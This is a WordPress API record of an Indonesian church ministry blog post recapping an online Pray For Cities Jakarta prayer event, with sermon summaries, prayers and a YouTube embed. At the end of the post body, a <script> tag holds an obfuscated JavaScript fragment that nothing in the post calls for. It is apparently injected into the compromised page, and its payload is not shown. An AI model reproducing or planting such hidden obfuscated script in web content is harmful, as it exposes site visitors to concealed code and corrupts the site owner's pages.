{"id":13211,"date":"2021-05-01T08:32:00","date_gmt":"2021-05-01T08:32:00","guid":{"rendered":"https:\/\/prayforcities.or.id\/?p=13211"},"modified":"2021-05-01T08:32:00","modified_gmt":"2021-05-01T08:32:00","slug":"pfc-online-jakarta-30-april-2021-yesus-jawaban-dalam-hidupku","status":"publish","type":"post","link":"https:\/\/prayforcities.or.id\/?p=13211","title":{"rendered":"PFC Online Jakarta 30 April 2021: Yesus Jawaban dalam Hidupku"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Puji Tuhan acara Pray For Cities (PFC) Jakarta secara online dapat diselenggarakan kembali pada hari Jumat, 30 April 2021, dan dapat disaksikan secara online melalui Facebook, Youtube dan Instagram.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Dilayani Oleh:\u2800<br>\u25cf&nbsp; &nbsp;Pdt. Yuki Budirahardjo Gereja Baptis Indonesia (GBI) Jakarta Baptis Community,, Pulomas, Jakarta Timur.&nbsp;<br>\u25cf&nbsp; Ev. Dani Neolaka, Gereja Allah Baik (GAB) Immanuel,pademangan, Jakarta utara.<br>\u25cf&nbsp; Pdt. Marthen Neolaka, Gereja Kristen Bersinar (GKB) pademangan, Jakarta Utara.<br>\u25cf&nbsp; &nbsp;Pdm. Arifman Laia, Gereja Gerakan Pentakosta(GGP)Ecclesia Christi, Senen, Jakarta Pusat<br>\u25cf&nbsp; &nbsp;Uli Tuluran, KPPI Ministry<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u00a0<br><strong>Yesus Jawaban dalam Hidupku<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Mengawali acara ini Pdt. Yuki Budirahardjo menaikkan doa pembukaan, kemudian menyampaikan Firman Tuhan yang diambil dari Matius 11:2, &#8220;Marilah kepada-Ku&nbsp; semua yang letih lesu,dan berbeban berat, Aku akan memberikan kelegaan kepadamu.&#8221;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Kelegaan dari keterikatan akan dosa Roma 3:23 &#8220;Karena semua orang telah berbuat dosa dan telah kehilangan kemuliaan Allah.&#8221; Kita semua manusia telah berdosa dan kehilangan kemuliaan Allah. Sejak jatuhnya manusia dalam dosa, relasi dengan Allah terputus. Putusnya relasi tersebut membuat adanya ruang kosong di dalam setiap manusia. Manusia berusaha mengisi ruang kosong tersebut dengan uang, ketenaran, jabatan dan kenikmatan duniawi bahkan juga dengan agama. Namun semua itu tidak dapat mengisi kekosongan manusia. Namun usaha manusia tersebut justru membuat manusia kembali keterikatan di dalam dosa, semakin lama semakin terikat di dalam dosa.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Sore hari ini bagi Saudara yang menonton mungkin mengalami pergumulan yang sama, mungkin Saudara berpikir dengan banyak uang bisa terpuaskan, Saudara bisa mendapatkan apa yang saudara inginkan tetapi justru keadaan ini semakin lama semakin mengikat saudara kepada dosa. Apabila saat ini Saudara berpikir dengan memiliki pasangan bisa mengisi ruang kosong, tetapi setelah berganti-ganti pasangan Saudara tidak mendapatkan kebahagiaan yang sejati, atau Saudara sedang beralih kepada agama dan berharap dapat menemukan ketenangan batin tapi juga tidak menemukan ketenangan batin, atau Saudara berpikir perbuatan baik dapat membawa dirimu kepada keselamatan.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Semua usaha manusia membuat Saudara letih dan berbeban berat, bagian yang kosong dari kehidupan kita tidak dapat diisi dengan agama, perbuatan baik, amal ibadah, kekayaan. Bagian kekosongan hanya bisa diisi dengan relasi dengan Tuhan yang hidup.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Di era pandemi ini pasti semua takut dengan virus Covid-19, tapi sesungguhnya hal yang jauh lebih menakutkan adalah dosa. Kita semua orang menganggap lahir dalam keadaan baik tidak berdosa, tetapi sesungguhnya di dalam Roma 3:23 mengatakan bahwa kita semua adalah orang-orang berdosa yang lahir dari nature dosa. Kita adalah orang-orang berdosa yang memerlukan kemurahan Allah di dalam hidup kita. Kita adalah manusia yang pada hakekatnya mati secara rohani. Hidup kita sesungguhnya perlu diperdamaikan dengan Allah untuk dapat dipulihkan kembali.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Dosa membawa kita pada penghukuman yang kekal.Orang yang berdosa layak mendapat penghukuman Allah, Roma 6 :23 berkata &#8220;Sebab upah dosa ialah maut; tetapi karunia Allah ialah hidup yang kenal dalam Kristus Yesus,Tuhan kita.&#8221;&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Dosa membawa kita kepada depresi, kehancuran, sakit penyakit, kematian. Betapa seriusnya dosa sehingga anak Allah mau datang untuk menanggung setiap dosa kita di kayu salib.\u00a0Dosa hanya dapat diselesaikan\u00a0dengan pertobatan dengan percaya kepada Yesus.\u00a0Jika Saudara ingin mendapatkan kelegaan\u00a0 mari datang kepada Tuhan Yesus, akui segala dosa-dosa kita, terima Dia sebagai Tuhan dan Juruselamat secara pribadi.\u00a0<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">&nbsp;<br>Kemudian doa menerima Tuhan Yesus sebagai Juruselamat dipimpin oleh Ev. Dani Neolaka yang sebelumnya membacakan Firman Tuhan dari Yohanes 3:16 \u201cKarena begitu besar kasih Allah akan dunia ini, sehingga Ia telah mengaruniakan Anak-Nya yang tunggal, supaya setiap orang yang percaya kepada-Nya tidak binasa, melainkan beroleh hidup yang kekal.\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Dilanjutkan berdoa bagi mereka yang mau memberi diri melayani Tuhan, dengan membacakan dasar Firman Tuhan dari Lukas 10:2&nbsp; \u201cKataNya kepada mereka tuaian memang banyak tapi pekerja sedikit. Maka mintalah supaya ia mengirimkan pekerja-pekerja untuk tuaian itu.\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Tuhan Yesus yang Sanggup Menyembuhkan<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Selanjutnya Firman Tuhan mengenai kesembuhan disampaikan oleh Pdt. Marthen Neolaka dari Yohanes 5:1-9 tentang Yesus menyembuhkan seorang yang sakit lumpuh di kolam Betesda.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Dari bacaan Firman Tuhan ini kita dapat melihat bagaimana orang-orang mencari kesembuhan, sementara mereka tidak menyadari ada Yesus di sana, Sang Sumber mujizat kesembuhan.&nbsp; Kita dapat melihat dari ayat Firman Tuhan ini ada empat alasan Yesus memilih orang lumpuh ini.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Pertama, karena sudah tiga puluh delapan tahun mengalami penderitaan.<br>Kedua, orang ini dalam penderitaan dia sendirian tidak ada yang bersama-sama dengan dia, dia hanya sebatang kara, tidak ada yang peduli dengan dia.<br>Ketiga, orang ini hanya menggantungkan hidupnya hanya kepada kolam Betesda.<br>Keempat, untuk sembuh dia mesti bersaing dengan banyak orang yang ada di serambi.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Mungkin di antara kita ada yang mengalami sakit dan sedang terbaring sakit. Saat Yesus hadir dalam hidup kita, Dia lebih dari segalanya. Percayalah akan kuasa Tuhan. Sadari dan rasakan Yesus hidup di dalam kita. Kita percaya melalui bilur-bilur Tuhan Yesus kita disembuhkan.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u00a0Kemudian sebagai dasar doa kesembuhan, yang dipimpin oleh Pdm. Arifman Laia dengan membacakan Firman Tuhan dari 1 Pet 2 :24, &#8220;Ia sendiri telah memiliki dosa kita didalam tubuh-Nya di kayu salib, supaya kita, yang telah mati terhadap dosa, hidup untuk kebenaran. Oleh bilur-bilur-Nya kamu telah sembuh.&#8221;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u00a0Setelah itu doa bagi kota Jakarta dipimpin oleh Ev. Dani Neolaka. Berdoa bagi para pemimpin pemerintah, presiden, gubernur sampai jajaran paling bawah agar diberikan hikmat untuk dapat memimpin sesuai kehendak Tuhan.\u00a0<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Dilanjutkan doa untuk bangsa Indonesia yang dipimpin oleh Pdm. Arifman Laia untuk berdoa bagi para pemimpin negeri, mulai dari tingkat pusat sampai ke daerah agar mereka dapat diberikan hikmat untuk memimpin bangsa ini menjadi lebih baik lagi, berdoa untuk aparat keamanan, TNI POLRI.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u00a0Acara ditutup dalam doa yang dipimpin oleh Uli Tuluran, yang\u00a0menyampaikan pengumuman mengenai nomor layanan doa, himbauan untuk mengikuti protokol kesehatan dan jadwal acara Pray For Cities selanjutnya dengan follow media sosial Facebook, Youtube dan Instagram Pray For Cities. Tuhan memberkati.<em>[ver]<\/em><\/p>\n\n\n\n<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe title=\"Yesus Jawaban Dalam Hidupku | Pray For Cities Online Jakarta (30 April 2021)\" width=\"788\" height=\"443\" src=\"https:\/\/www.youtube.com\/embed\/EeKfVZqyO9U?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe>\n<\/div><\/figure>\n\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script>","protected":false},"excerpt":{"rendered":"<p>Puji Tuhan acara Pray For Cities (PFC) Jakarta secara online dapat diselenggarakan kembali pada hari Jumat, 30 April 2021, dan dapat disaksikan secara online melalui Facebook, Youtube dan Instagram. Dilayani Oleh:\u2800\u25cf&nbsp; &nbsp;Pdt. Yuki Budirahardjo Gereja Baptis Indonesia (GBI) Jakarta Baptis Community,, Pulomas, Jakarta Timur.&nbsp;\u25cf&nbsp; Ev. Dani Neolaka, Gereja Allah Baik (GAB) Immanuel,pademangan, Jakarta utara.\u25cf&nbsp; Pdt.<\/p>\n","protected":false},"author":1,"featured_media":13212,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[38],"tags":[],"class_list":["post-13211","post","type-post","status-publish","format-standard","has-post-thumbnail","category-artikel-kesaksian"],"_links":{"self":[{"href":"https:\/\/prayforcities.or.id\/index.php?rest_route=\/wp\/v2\/posts\/13211","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prayforcities.or.id\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prayforcities.or.id\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prayforcities.or.id\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prayforcities.or.id\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=13211"}],"version-history":[{"count":0,"href":"https:\/\/prayforcities.or.id\/index.php?rest_route=\/wp\/v2\/posts\/13211\/revisions"}],"wp:attachment":[{"href":"https:\/\/prayforcities.or.id\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=13211"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prayforcities.or.id\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=13211"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prayforcities.or.id\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=13211"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}